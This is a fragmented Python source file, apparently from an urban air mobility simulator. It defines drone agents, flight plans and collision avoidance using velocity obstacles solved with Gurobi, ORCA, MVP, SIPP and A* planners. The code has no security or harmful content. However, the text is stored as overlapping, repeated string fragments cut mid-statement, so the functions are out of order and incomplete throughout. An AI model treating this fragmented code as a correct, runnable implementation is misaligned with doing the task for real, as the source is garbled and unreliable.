self.time_step is not None: self.end_time =", "greater normal_1 = np.array([vector1[1], -vector1[0]]) # Rotated +90 degrees constraint1 = lambda x,", "!= start_index_float: pos_0 = self.get_planned_position_at(start_time) trajectory.append(np.copy(pos_0)) times.append(trajectory_start_time) for index in range(lower, upper +", "flight_leg='initial'): self.id = id self.environment = env self.centralized_manager = centralized_manager self.agent_dynamics = agent_dynamics", "=(self.radius*safety_factor - dabsH)*dcpa/(abs(t_cpa)*dabsH) velocity_change += dV timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return", "neighbors = self.environment.get_nearest_neighbors(self.position, k+1, max_radius) if neighbors == []: return [] else: return", "if self.agent_logic == 'strategic': # Follow flight plan (without consideration for kinematic properties)", "= self.environment.get_nearest_neighbors(self.position, k+1, max_radius) if neighbors == []: return [] else: return neighbors[neighbors", "(as in The effects of Swarming on a Voltage Potential-Based Conflict Resolution Algorithm,", "times[0] ## Debug if len(times) < 2: print('the plan is too short') print('agent", "print(idx_float) print(pos_high) print(pos_low) if return_velocity: return pos_low + (pos_high - pos_low) * (idx_float", "= start self.goal = end self.position = np.copy(self.start) # Passed by reference self.new_position", "is None: # self.times is sorted [start_index, end_index] = np.searchsorted(self.times, [trajectory_start_time, trajectory_end_time]) temp", "timer_start) return np.array([vars[0].x, vars[1].x]) elif algo_type == 'ORCA': timer_start = python_time.time() reactive_solver =", "the binary constraint is 1 the constraint is always respected K = abs(a", "self.position - neighbor.position dist=np.linalg.norm(delta_pos) delta_vel = desired_velocity - neighbor.velocity if np.linalg.norm(delta_vel)==0: t_cpa=0 else:", "np.dot(delta_vel, delta_vel) dcpa = delta_pos+delta_vel*t_cpa dabsH = np.linalg.norm(dcpa) # If there is a", "plan) timer_end = python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan if algo_type", "flight points \"\"\" if ignore_timed_out and time > self.end_time: if return_velocity: return None,", "import pathPlanning from uam_simulator import orca import gurobipy as grb from gurobipy import", "idx_low == idx_high: if return_velocity: if idx_high == n-1: velocity = np.array([0, 0])", "Time of Closest Approach delta_pos = self.position - neighbor.position dist=np.linalg.norm(delta_pos) delta_vel = desired_velocity", "- pos) plan.append(pos) if d != 0: plan.append(self.goal) self.flightPlan = Flightplan(self.start_time, dt, plan)", "else: turn_angle = my_utils.get_angle(self.velocity, new_velocity) max_angle=30*math.pi/180 if abs(turn_angle)>max_angle: vel = self.velocity * v_clamped", "effects of Swarming on a Voltage Potential-Based Conflict Resolution Algorithm, <NAME>) # if", "self.environment.get_neighbors(self.position, self.radius) for vehicle in neighbors: if t >= vehicle.start_time and vehicle.id !=", "def get_neighbors(self): neighbors = self.environment.get_neighbors(self.position, self.sensing_radius) if neighbors == []: return [] else:", "+ 2 * n_intruder + n_constraint] <= -c) n_constraint += 1 model.addConstr(X[2 +", "d = np.linalg.norm(pos - pos_0) actual_length += d pos_0 = np.copy(pos) direction =", "timer_end - timer_start return None self.start_time = times[0] self.flightPlan = Flightplan(times[0], times[1] -", "self.sensing_radius = sensing_radius self.desired_start_time = start_time self.start_time = start_time # actual start time", "goal[0] - current_position[0]) d = np.linalg.norm(goal - current_position) max_step_length = min(speed * dt,", "self.minSpeed = 0.0 self.maxSpeed = max_speed self.sensing_radius = sensing_radius self.desired_start_time = start_time self.start_time", "Flightplan(times[0], times[1] - times[0], plan, times=np.array(times)) timer_end = python_time.time() self.preflight_time = timer_end -", "dt, plan) timer_end = python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan if", "v_clamped / v else: turn_angle = my_utils.get_angle(self.velocity, new_velocity) max_angle=30*math.pi/180 if abs(turn_angle)>max_angle: vel =", "None else: return None n = len(self.positions) if self.time_step is not None: idx_float", "pos_low) * (idx_float - idx_low), (pos_high-pos_low)/(self.times[idx_high]-self.times[idx_low]) else: return pos_low + (pos_high - pos_low)", "python_time.time() plan = [] plan.append(self.start) pos = np.copy(self.start) d = np.linalg.norm(self.goal - pos)", "np.array([self.start_time + i * self.time_step for i in range(0, len(self.positions))]) if self.time_step is", "for i in range(0, len(self.positions))]) if self.time_step is not None: self.end_time = self.start_time", "consideration for kinematic properties) self.new_position = self.flightPlan.get_planned_position_at(current_time + dt, debug=debug) self.new_velocity = (self.new_position", "model.addVar(lb=-max_vel, ub=max_vel, name='y') model.addVars(2 * len(intruders), vtype=GRB.BINARY) model.update() X = model.getVars() n_intruder =", "desired_velocity else: print(algo_type+' not implemented ') def get_neighbors(self): neighbors = self.environment.get_neighbors(self.position, self.sensing_radius) if", "trajectory = [] times = [] if debug: print('time step is '+str(self.time_step)) print('start_time", "density if self.centralized_manager is None: print('agent.py preflight error, a centralized manager must exist')", "- self.position) speed = min(d / dt, self.maxSpeed) if d == 0: print('VO,", "= (self.goal - self.position) * speed / d model = setupMIQCP(intruders, desired_velocity, self)", "# K must be arbitrarily large so that when the binary constraint is", "timer_end - timer_start return self.flightPlan if algo_type == 'LocalVO': timer_start = python_time.time() local_planner", "np.copy(self.new_velocity) return self.position def velocity_update(self, new_velocity): # Introduce kinematic constraints # For now", "flight plan goal and surrounding vehicles decide where to go # Based on", "t_removed_from_sim=None): self.flight_status = 'finished' self.arrival_time = t self.t_removed_from_sim=t_removed_from_sim if goal_pos is not None:", "we could avoid a second call to search sorted trajectory.append(self.get_planned_position_at(trajectory_start_time)) times.append(trajectory_start_time) for i", "dt) timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return vel elif algo_type == 'straight':", "None trajectory_end_time = min(end_time, self.end_time) trajectory_start_time = max(start_time, self.start_time) trajectory = [] times", "+ str(self.new_position)) print('old position ' + str(self.position)) if self.trajectory == []: self.trajectory.append(np.copy(self.position)) self.trajectory_times.append(current_time)", "- timer_start return self.flightPlan if algo_type == 'SIPP': timer_start = python_time.time() sipp_planner =", "algo_type='MVP'): # Given current position, next flight plan goal and surrounding vehicles decide", "0 self.minSpeed = 0.0 self.maxSpeed = max_speed self.sensing_radius = sensing_radius self.desired_start_time = start_time", "two agents is 0') if ownship_agent.radius > d: print('there is an intruder in", "and instantly change the orientation v = np.linalg.norm(new_velocity) v_clamped = my_utils.clamp(self.minSpeed, self.maxSpeed, v)", "get the predicted end time a flight plan must exist') return self.start_time def", "2 * n_intruder + n_constraint] <= -c) n_constraint += 1 model.addConstr(X[2 + 2", "self.position def velocity_update(self, new_velocity): # Introduce kinematic constraints # For now just clamp", "(idx_float - idx_low), (pos_high-pos_low)/(self.times[idx_high]-self.times[idx_low]) else: return pos_low + (pos_high - pos_low) * (idx_float", "must exist') return self.start_time def compute_next_move(self, current_time, dt, debug=False, density=0): \"\"\" Store the", "'dumb': protected_area = self.environment.get_protected_area() else: # All other agents can wait in place", "success, plan, times = astar_planner.search() if not success: self.flight_status = 'cancelled' timer_end =", "max(start_time, self.start_time) trajectory = [] times = [] if debug: print('time step is", "the index we could avoid a second call to search sorted trajectory.append(self.get_planned_position_at(trajectory_start_time)) times.append(trajectory_start_time)", "self.agent_dynamics = agent_dynamics if agent_logic == 'dumb': protected_area = self.environment.get_protected_area() else: # All", "if self.agent_logic == 'dumb': self.new_position = self.compute_straight_move(self.position, self.goal, self.maxSpeed, dt) self.new_velocity = (self.new_position", "n_constraint] <= -c) n_constraint += 1 model.addConstr(X[2 + 2 * n_intruder] + X[2", "self.new_velocity = (self.new_position - self.position) / dt if debug: print('New position ' +", "if self.algo_type == 'straight': return True neighbors = self.environment.get_neighbors(self.position, self.radius) for vehicle in", "0.0 self.maxSpeed = max_speed self.sensing_radius = sensing_radius self.desired_start_time = start_time self.start_time = start_time", "d safety_factor = 1.10 # 10% safety factor (as in The effects of", "self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = sipp_planner.search() if not success:", "Debug if len(times) < 2: print('the plan is too short') print('agent start '+", "= [math.cos(theta - alpha), math.sin(theta - alpha)] # must be greater normal_1 =", "get_VO(intruder, ownship_agent) n_constraint = 0 for constraint in constraints_or: c = constraint(0, 0)", "ub=max_vel, name='x') model.addVar(lb=-max_vel, ub=max_vel, name='y') model.addVars(2 * len(intruders), vtype=GRB.BINARY) model.update() X = model.getVars()", "= pathPlanning.Local_VO(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = local_planner.search() if", "if self.time_step is None: # self.times is sorted [start_index, end_index] = np.searchsorted(self.times, [trajectory_start_time,", "bit of a mess while d > self.maxSpeed * dt: pos = self.compute_straight_move(pos,", "self.environment.get_nearest_neighbors(self.position, k+1, max_radius) if neighbors == []: return [] else: return neighbors[neighbors !=", "if return_velocity: return None, None else: return None n = len(self.positions) if self.time_step", "goal are close, redrawing at random') self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start -", "= -delta_pos[0] / dist * dabsH if self.radius*safety_factor < dist: erratum = np.cos(np.arcsin((self.radius*safety_factor)", "- self.position) * speed / d timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return", "ownship_agent.radius > d: print('there is an intruder in the protected radius') print(ownship_agent.position) print(intruder_agent.position)", "vel @ np.asarray([[math.cos(theta), math.sin(theta)], [-math.sin(theta), math.cos(theta)]]) else: return new_velocity * v_clamped / v", "timer_end = python_time.time() self.preflight_time = timer_end - timer_start return None self.start_time = times[0]", "X[1] * X[1] <= max_vel ** 2) model.setObjective( (X[0] - desired_vel[0]) * (X[0]", "< 10: # Play one more time # print('agent start and goal are", "constraint2 def setupMIQCP(intruders, desired_vel, ownship_agent): \"\"\" Intruders should be an array of agents", "self] def get_nearest_neighbors(self, k, max_radius): # Will return itself so query one more", "/ dt, self.maxSpeed) desired_velocity = (self.goal - self.position) * speed / d timer_end", "now just clamp the velocity and instantly change the orientation v = np.linalg.norm(new_velocity)", "if goal_pos is not None: self.trajectory.append(np.copy(goal_pos)) self.trajectory_times.append(t) def log_agent(self): agent_log = {'flight_status': self.flight_status,", "= python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan if algo_type == 'SIPP':", "self.preflight_time = timer_end - timer_start return self.flightPlan else: print('The algo type ' +", "and not random end (or vice versa) if start is None or end", "agent_log['actual_time_of_arrival']= self.arrival_time if self.t_removed_from_sim is not None: agent_log['time_removed_from_sim']=self.t_removed_from_sim agent_log['heading']= heading agent_log['density']= self.density if", "self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = decoupled_planner.search() if not success: self.flight_status", "delta_vel = desired_velocity - neighbor.velocity if np.linalg.norm(delta_vel)==0: t_cpa=0 else: t_cpa=-np.dot(delta_pos, delta_vel) / np.dot(delta_vel,", "self.times[idx_low]) / (self.times[idx_high] - self.times[idx_low]) pos_high = self.positions[idx_high] pos_low = self.positions[idx_low] # if", "sipp_planner = pathPlanning.SIPP(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = sipp_planner.search()", "is a conflict if dabsH < self.radius: # If head-on conflict if dabsH<=10:", "dcpa)/(abs(t_cpa)*dabsH) else: # If already moving away from conflict (tcpa is negative) then", "self.radius) for vehicle in neighbors: if t >= vehicle.start_time and vehicle.id != self.id:", "down to arrive at the goal on the next time step return current_position", "d != 0: plan.append(self.goal) self.flightPlan = Flightplan(self.start_time, dt, plan) timer_end = python_time.time() self.preflight_time", "self.times[-1] class Agent: def __init__(self, env, radius, max_speed, start=None, end=None, start_time=0, agent_logic='dumb', centralized_manager=None,", "tolerance # TODO tolerances are a bit of a mess while d >", "= my_utils.get_angle(self.velocity, new_velocity) max_angle=30*math.pi/180 if abs(turn_angle)>max_angle: vel = self.velocity * v_clamped / np.linalg.norm(self.velocity)", "new_velocity * v_clamped / v else: turn_angle = my_utils.get_angle(self.velocity, new_velocity) max_angle=30*math.pi/180 if abs(turn_angle)>max_angle:", "other agents find a free path and publish it self.density = density if", "algo_type == 'A_star_8': timer_start = python_time.time() astar_planner = pathPlanning.AStar_8grid(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager)", "if time is exactly integer then returns the exact pos if debug: print(idx_float)", "self.goal - self.position d = np.linalg.norm(direction) desired_velocity = min(self.maxSpeed, d / dt) *", "d) # slow down to arrive at the goal on the next time", "= self.times[start_index] if abs(self.times[start_index]-trajectory_start_time) > 1e-4: # requires interpolation # Since we already", "'MVP_Bluesky': timer_start = python_time.time() neighbors = self.get_neighbors() velocity_change = np.asarray([0.0, 0.0]) direction =", "'ok' self.agent_logic = agent_logic self.tolerance = self.environment.tolerance self.t_removed_from_sim=None if agent_logic == 'dumb': self.ownship", "= self.get_neighbors() velocity_change = np.asarray([0.0, 0.0]) direction = self.goal - self.position d =", "self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal) < 10: # Play one", "is not None: agent_log['time_removed_from_sim']=self.t_removed_from_sim agent_log['heading']= heading agent_log['density']= self.density if self.agent_logic == 'strategic': agent_log['time_to_preflight']", "10: # Play one more time # print('agent start and goal are close,", "== 'dumb': self.new_position = self.compute_straight_move(self.position, self.goal, self.maxSpeed, dt) self.new_velocity = (self.new_position - self.position)", "range(0, len(self.positions))]) if self.time_step is not None: self.end_time = self.start_time + (len(self.positions) -", "= 'MVP' self.new_velocity = self.collision_avoidance(dt, algo_type=self.algo_type) self.new_velocity = self.velocity_update(self.new_velocity) self.new_position += self.new_velocity *", "theta = math.atan2(rel_pos[1], rel_pos[0]) vector1 = [math.cos(theta + alpha), math.sin(theta + alpha)] vector2", "times = sipp_planner.search() if not success: self.flight_status = 'cancelled' return None self.start_time =", "def __init__(self, t0, dt, positions, times=None): self.start_time = t0 self.positions = positions self.time_step", "self.maxSpeed, dt) self.new_velocity = (self.new_position - self.position) / dt if self.agent_logic == 'reactive':", "= 0 for intruder in intruders: constraints_or = get_VO(intruder, ownship_agent) n_constraint = 0", "/ (np.linalg.norm(self.goal - self.start)) self.new_velocity = self.velocity self.trajectory = [] self.trajectory_times = []", "algo_type=self.algo_type) self.new_velocity = self.velocity_update(self.new_velocity) self.new_position += self.new_velocity * dt if self.agent_logic == 'strategic':", "= python_time.time() intruders = self.get_neighbors() d = np.linalg.norm(self.goal - self.position) speed = min(d", "desired_velocity - neighbor.velocity if np.linalg.norm(delta_vel)==0: t_cpa=0 else: t_cpa=-np.dot(delta_pos, delta_vel) / np.dot(delta_vel, delta_vel) dcpa", "agents find a free path and publish it self.density = density if self.centralized_manager", "The effects of Swarming on a Voltage Potential-Based Conflict Resolution Algorithm, <NAME>) #", "return np.array([vars[0].x, vars[1].x]) elif algo_type == 'ORCA': timer_start = python_time.time() reactive_solver = orca.ORCA()", "= np.linalg.norm(self.goal - pos) plan.append(pos) if d != 0: plan.append(self.goal) self.flightPlan = Flightplan(self.start_time,", "self.trajectory == []: print('agent, empty trajectory ') # happens if start and goal", "== 'reactive': agent_log['average_time_to_plan_avoidance'] = sum(self.collision_avoidance_time) / len(self.collision_avoidance_time) agent_log['total_planning_time'] = sum(self.collision_avoidance_time) return agent_log def", "self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal) < 10: print('unlikely, agent start", "if a ground delay is planned if np.linalg.norm(self.goal - self.start) == 0: print(agent_logic)", "reference self.new_position = np.copy(self.start) self.radius = radius self.orientation = 0 self.minSpeed = 0.0", "# requires interpolation trajectory.append(self.get_planned_position_at(trajectory_end_time)) times.append(trajectory_end_time) else: trajectory.append(self.positions[end_index]) times.append(trajectory_end_time) else: start_index_float = float((trajectory_start_time -", "constraint is 1 the constraint is always respected K = abs(a * max_vel)", "current_position, goal, speed, dt): orientation = math.atan2(goal[1] - current_position[1], goal[0] - current_position[0]) d", "if not success: self.flight_status = 'cancelled' return None self.start_time = times[0] ## Debug", "d / dt) * direction / d safety_factor = 1.10 # 10% safety", "just keep going if t_cpa<=0: dV = 0 else: dV =(self.radius*safety_factor - dabsH)*dcpa/(abs(t_cpa)*dabsH)", "np.asarray([0.0, 0.0]) direction = self.goal - self.position d = np.linalg.norm(direction) desired_velocity = min(self.maxSpeed,", "not None: self.time_step = None self.times = np.array(times) else: self.times = np.array([self.start_time +", "math.atan2(direction[1], direction[0]) if self.agent_logic == 'reactive': self.density = self.cumulative_density/self.n_steps - 1 agent_log['flight_status']= self.flight_status", "'+str(self.positions)) print('times '+str(self.times)) print(start_time-self.end_time) if self.time_step is None: # self.times is sorted [start_index,", "t_cpa=0 else: t_cpa=-np.dot(delta_pos, delta_vel) / np.dot(delta_vel, delta_vel) dcpa = delta_pos+delta_vel*t_cpa dabsH = np.linalg.norm(dcpa)", "math.atan2(rel_pos[1], rel_pos[0]) vector1 = [math.cos(theta + alpha), math.sin(theta + alpha)] vector2 = [math.cos(theta", "agents \"\"\" model = grb.Model('VO') max_vel = ownship_agent.maxSpeed model.addVar(lb=-max_vel, ub=max_vel, name='x') model.addVar(lb=-max_vel, ub=max_vel,", "always respected K = abs(a * max_vel) + abs(b * max_vel) + c", "vehicle.start_time and vehicle.id != self.id: # if np.linalg.norm(self.position - vehicle.position) <= self.radius: self.flight_status", "dt) self.new_velocity = (self.new_position - self.position) / dt if self.agent_logic == 'reactive': self.cumulative_density", "model.setObjective( (X[0] - desired_vel[0]) * (X[0] - desired_vel[0]) + (X[1] - desired_vel[1]) *", "= Flightplan(self.start_time, dt, plan) timer_end = python_time.time() self.preflight_time = timer_end - timer_start return", "in order to get the predicted end time a flight plan must exist')", "points \"\"\" if ignore_timed_out and time > self.end_time: if return_velocity: return None, None", "return None self.start_time = times[0] ## Debug if len(times) < 2: print('the plan", "* normal_2, normal_2) return constraint1, constraint2 def setupMIQCP(intruders, desired_vel, ownship_agent): \"\"\" Intruders should", "# Indices are equal because idx_float is an int if return_velocity: if idx_high", "= max(start_time, self.start_time) trajectory = [] times = [] if debug: print('time step", "float((trajectory_end_time - self.start_time) / self.time_step) lower = math.ceil(start_index_float) upper = min(math.floor(end_index_float), len(self.positions) -", "** 2) model.setObjective( (X[0] - desired_vel[0]) * (X[0] - desired_vel[0]) + (X[1] -", "self.radius: self.flight_status = 'waiting' return False self.start_time = t return True def collision_avoidance(self,", "- 1) * self.time_step else: self.end_time=self.times[-1] def get_planned_position_at(self, time, return_velocity=False, ignore_timed_out=False, debug=False): \"\"\"", "timer_start) return vel elif algo_type == 'straight': timer_start = python_time.time() d = np.linalg.norm(self.goal", "timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return np.array([vars[0].x, vars[1].x]) elif algo_type == 'ORCA':", "self.flight_status = 'finished' self.arrival_time = t self.t_removed_from_sim=t_removed_from_sim if goal_pos is not None: self.trajectory.append(np.copy(goal_pos))", "y]) - intruder_agent.velocity) + 0.1 * normal_2, normal_2) return constraint1, constraint2 def setupMIQCP(intruders,", "False self.start_time = t return True def collision_avoidance(self, dt, algo_type='MVP'): # Given current", "= max(0, idx_high - 1) if self.times[idx_high] == time or idx_low == idx_high:", "= python_time.time() astar_planner = pathPlanning.AStar_8grid(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager) success, plan, times =", "self.flight_status == 'ongoing': agent_log['actual_time_of_departure'] = self.start_time if self.flight_status == 'finished': ideal_length = float(np.linalg.norm(self.goal", "If head-on conflict if dabsH<=10: dabsH=10 dcpa[0] = delta_pos[1] / dist * dabsH", "sum(self.collision_avoidance_time) / len(self.collision_avoidance_time) agent_log['total_planning_time'] = sum(self.collision_avoidance_time) return agent_log def get_VO(intruder_agent, ownship_agent): if intruder_agent", "for kinematic properties) self.new_position = self.flightPlan.get_planned_position_at(current_time + dt, debug=debug) self.new_velocity = (self.new_position -", "str(self.start)) print('agent goal '+str(self.goal)) print('agent plan pos '+str(plan)) print('agent plan times ' +", "== 0: print('VO, this should not happen') print('distance to goal is 0') desired_velocity", "or end is None: self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal) <", "abs(turn_angle)>max_angle: vel = self.velocity * v_clamped / np.linalg.norm(self.velocity) theta=math.copysign(max_angle,turn_angle) return vel @ np.asarray([[math.cos(theta),", "self.preflight_time = timer_end - timer_start return self.flightPlan if algo_type == 'Decoupled': timer_start =", "Rotated +90 degrees constraint1 = lambda x, y: np.dot((np.array([x, y]) - intruder_agent.velocity) +", "Flightplan(self.start_time, dt, plan) timer_end = python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan", "setupMIQCP(intruders, desired_vel, ownship_agent): \"\"\" Intruders should be an array of agents \"\"\" model", "= dt self.times = None if times is not None: self.time_step = None", "-delta_pos[0] / dist * dabsH if self.radius*safety_factor < dist: erratum = np.cos(np.arcsin((self.radius*safety_factor) /", "= float((trajectory_end_time - self.start_time) / self.time_step) lower = math.ceil(start_index_float) upper = min(math.floor(end_index_float), len(self.positions)", "# The returned velocity might not be feasible if algo_type == 'MVP_Bluesky': timer_start", "dabsH=10 dcpa[0] = delta_pos[1] / dist * dabsH dcpa[1] = -delta_pos[0] / dist", "self.centralized_manager, self.tolerance) success, plan, times = decoupled_planner.search() if not success: self.flight_status = 'cancelled'", "self.flight_status agent_log['agent_type']= self.agent_logic agent_log['length_ideal']= ideal_length agent_log['actual_length']= actual_length agent_log['ideal_time_of_arrival']= self.desired_start_time+ideal_length / self.maxSpeed agent_log['actual_time_of_arrival']= self.arrival_time", "= self.environment.tolerance self.t_removed_from_sim=None if agent_logic == 'dumb': self.ownship = False else: self.ownship =", "= delta_pos[1] / dist * dabsH dcpa[1] = -delta_pos[0] / dist * dabsH", "For now just clamp the velocity and instantly change the orientation v =", "name='x') model.addVar(lb=-max_vel, ub=max_vel, name='y') model.addVars(2 * len(intruders), vtype=GRB.BINARY) model.update() X = model.getVars() n_intruder", "get_predicted_end_time(self): if self.flightPlan is not None: return self.flightPlan.end_time else: print('Agent: in order to", "max_vel) + c model.addConstr(a * X[0] + b * X[1] - K *", "self.position) / dt if self.agent_logic == 'reactive': self.cumulative_density += density self.n_steps += 1", "= orca.ORCA() vel=reactive_solver.compute_new_velocity(self, dt) timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return vel elif", "= self.environment.get_neighbors(self.position, self.sensing_radius) if neighbors == []: return [] else: return neighbors[neighbors !=", "plan, times = sipp_planner.search() if not success: self.flight_status = 'cancelled' return None self.start_time", "agent_log['agent_type']= self.agent_logic agent_log['length_ideal']= ideal_length agent_log['actual_length']= actual_length agent_log['ideal_time_of_arrival']= self.desired_start_time+ideal_length / self.maxSpeed agent_log['actual_time_of_arrival']= self.arrival_time if", "constraint(1, 0) - c b = constraint(0, 1) - c # K must", "intruders != []: # plotter([-1000,1000],[-1000,1000],100,[get_VO(intruders[0],self)],chosen_v=np.array([vars[0].x,vars[1].x])) pass timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return", "idx_high: if return_velocity: if idx_high == n-1: velocity = np.array([0, 0]) else: velocity", "Interpolates between the flight points \"\"\" if ignore_timed_out and time > self.end_time: if", "delta_vel) / np.dot(delta_vel, delta_vel) dcpa = delta_pos+delta_vel*t_cpa dabsH = np.linalg.norm(dcpa) # If there", "else: # All other agents can wait in place protected_area = None #", "self.maxSpeed * (self.goal - self.start) / (np.linalg.norm(self.goal - self.start)) self.new_velocity = self.velocity self.trajectory", "self.time_step) end_index_float = float((trajectory_end_time - self.start_time) / self.time_step) lower = math.ceil(start_index_float) upper =", "'finished' self.arrival_time = t self.t_removed_from_sim=t_removed_from_sim if goal_pos is not None: self.trajectory.append(np.copy(goal_pos)) self.trajectory_times.append(t) def", "== []: self.trajectory.append(np.copy(self.position)) self.trajectory_times.append(current_time) self.trajectory.append(np.copy(self.new_position)) self.trajectory_times.append(current_time + dt) self.flight_status = 'ongoing' def compute_straight_move(self,", "= min(d / dt, self.maxSpeed) desired_velocity = (self.goal - self.position) * speed /", "self.new_position += self.new_velocity * dt if self.agent_logic == 'strategic': # Follow flight plan", "dt) d = np.linalg.norm(self.goal - pos) plan.append(pos) if d != 0: plan.append(self.goal) self.flightPlan", "at random') self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal) < 10: print('unlikely,", "= timer_end - timer_start return self.flightPlan if algo_type == 'A_star_8': timer_start = python_time.time()", "'strategic': # Follow flight plan (without consideration for kinematic properties) self.new_position = self.flightPlan.get_planned_position_at(current_time", "for index in range(lower, upper + 1): trajectory.append(self.positions[index]) # times.append(self.start_time+index*self.time_step) times.append(self.times[index]) if upper", "+ abs(b * max_vel) + c model.addConstr(a * X[0] + b * X[1]", "plan, times = astar_planner.search() if not success: self.flight_status = 'cancelled' timer_end = python_time.time()", "this should not happen') print('distance to goal is 0') desired_velocity = (self.goal -", "\"\"\" if ignore_timed_out and time > self.end_time: if return_velocity: return None, None else:", "max_vel) + abs(b * max_vel) + c model.addConstr(a * X[0] + b *", "dt, positions, times=None): self.start_time = t0 self.positions = positions self.time_step = dt self.times", "= get_VO(intruder, ownship_agent) n_constraint = 0 for constraint in constraints_or: c = constraint(0,", "self.start_time) / self.time_step) end_index_float = float((trajectory_end_time - self.start_time) / self.time_step) lower = math.ceil(start_index_float)", "* (idx_float - idx_low), (pos_high-pos_low)/(self.times[idx_high]-self.times[idx_low]) else: return pos_low + (pos_high - pos_low) *", "agent_log['time_to_preflight'] = self.preflight_time elif self.agent_logic == 'reactive': agent_log['average_time_to_plan_avoidance'] = sum(self.collision_avoidance_time) / len(self.collision_avoidance_time) agent_log['total_planning_time']", "self.sensing_radius) if neighbors == []: return [] else: return neighbors[neighbors != self] def", "normal_1, normal_1) # must be smaller normal_2 = np.array([-vector2[1], vector2[0]]) # Rotated -90", "speed, dt): orientation = math.atan2(goal[1] - current_position[1], goal[0] - current_position[0]) d = np.linalg.norm(goal", "elif algo_type == 'VO': timer_start = python_time.time() intruders = self.get_neighbors() d = np.linalg.norm(self.goal", "'cancelled' timer_end = python_time.time() self.preflight_time = timer_end - timer_start return None self.start_time =", "= np.copy(self.new_velocity) return self.position def velocity_update(self, new_velocity): # Introduce kinematic constraints # For", "y: np.dot((np.array([x, y]) - intruder_agent.velocity) + 0.1 * normal_1, normal_1) # must be", "failed to find a solution') print(model.status) vars = model.getVars() if intruders != []:", "ideal_length agent_log['actual_length']= actual_length agent_log['ideal_time_of_arrival']= self.desired_start_time+ideal_length / self.maxSpeed agent_log['actual_time_of_arrival']= self.arrival_time if self.t_removed_from_sim is not", "- intruder_agent.velocity) + 0.1 * normal_2, normal_2) return constraint1, constraint2 def setupMIQCP(intruders, desired_vel,", "The position is updated when move is called \"\"\" if self.agent_logic == 'dumb':", "= self.goal - self.position d = np.linalg.norm(direction) desired_velocity = min(self.maxSpeed, d / dt)", "+ b * X[1] - K * X[2 + 2 * n_intruder +", "self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = sipp_planner.search() if not success: self.flight_status", "- timer_start return self.flightPlan if algo_type == 'A_star_8': timer_start = python_time.time() astar_planner =", "idx_high: # Indices are equal because idx_float is an int if return_velocity: if", "is not None: return self.start_time + (len(self.positions) - 1) * self.time_step else: return", "print('the distance between the two agents is 0') if ownship_agent.radius > d: print('there", "desired_velocity = (self.goal - self.position) * speed / d model = setupMIQCP(intruders, desired_velocity,", "neighbors: if t >= vehicle.start_time and vehicle.id != self.id: # if np.linalg.norm(self.position -", "constraint2 = lambda x, y: np.dot((np.array([x, y]) - intruder_agent.velocity) + 0.1 * normal_2,", "one more neighbor neighbors = self.environment.get_nearest_neighbors(self.position, k+1, max_radius) if neighbors == []: return", "else: self.start = start self.goal = end self.position = np.copy(self.start) # Passed by", "self.new_velocity = self.collision_avoidance(dt, algo_type=self.algo_type) self.new_velocity = self.velocity_update(self.new_velocity) self.new_position += self.new_velocity * dt if", "times.append(self.start_time+index*self.time_step) times.append(self.times[index]) if upper != end_index_float: pos_end = self.get_planned_position_at(end_time) trajectory.append(pos_end) times.append(trajectory_end_time) return trajectory,", "print(self.goal) pos_0 = self.trajectory[0] for pos in self.trajectory: d = np.linalg.norm(pos - pos_0)", "'straight': timer_start = python_time.time() d = np.linalg.norm(self.goal - self.position) speed = min(d /", "str(self.position)) if self.trajectory == []: self.trajectory.append(np.copy(self.position)) self.trajectory_times.append(current_time) self.trajectory.append(np.copy(self.new_position)) self.trajectory_times.append(current_time + dt) self.flight_status =", "= 0 self.minSpeed = 0.0 self.maxSpeed = max_speed self.sensing_radius = sensing_radius self.desired_start_time =", "= my_utils.clamp(self.minSpeed, self.maxSpeed, v) if self.agent_dynamics is None: return new_velocity * v_clamped /", "K * X[2 + 2 * n_intruder + n_constraint] <= -c) n_constraint +=", "# Given, the start/goals and published flight plans of other agents find a", "agent_log def get_VO(intruder_agent, ownship_agent): if intruder_agent == ownship_agent: print('get_VO this should not happen", "return self.flightPlan if algo_type == 'A_star_8': timer_start = python_time.time() astar_planner = pathPlanning.AStar_8grid(self.start, self.goal,", "0 for intruder in intruders: constraints_or = get_VO(intruder, ownship_agent) n_constraint = 0 for", "+= 1 if self.algo_type is None: self.algo_type = 'MVP' self.new_velocity = self.collision_avoidance(dt, algo_type=self.algo_type)", "neighbor.position dist=np.linalg.norm(delta_pos) delta_vel = desired_velocity - neighbor.velocity if np.linalg.norm(delta_vel)==0: t_cpa=0 else: t_cpa=-np.dot(delta_pos, delta_vel)", "np.array([0, 0]) else: velocity = (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high], velocity else: return self.positions[idx_high] else:", "\"\"\" if self.agent_logic == 'dumb': self.new_position = self.compute_straight_move(self.position, self.goal, self.maxSpeed, dt) self.new_velocity =", "next flight plan goal and surrounding vehicles decide where to go # Based", "None: print('agent.py preflight error, a centralized manager must exist') if algo_type == 'Straight':", "= timer_end - timer_start return self.flightPlan if algo_type == 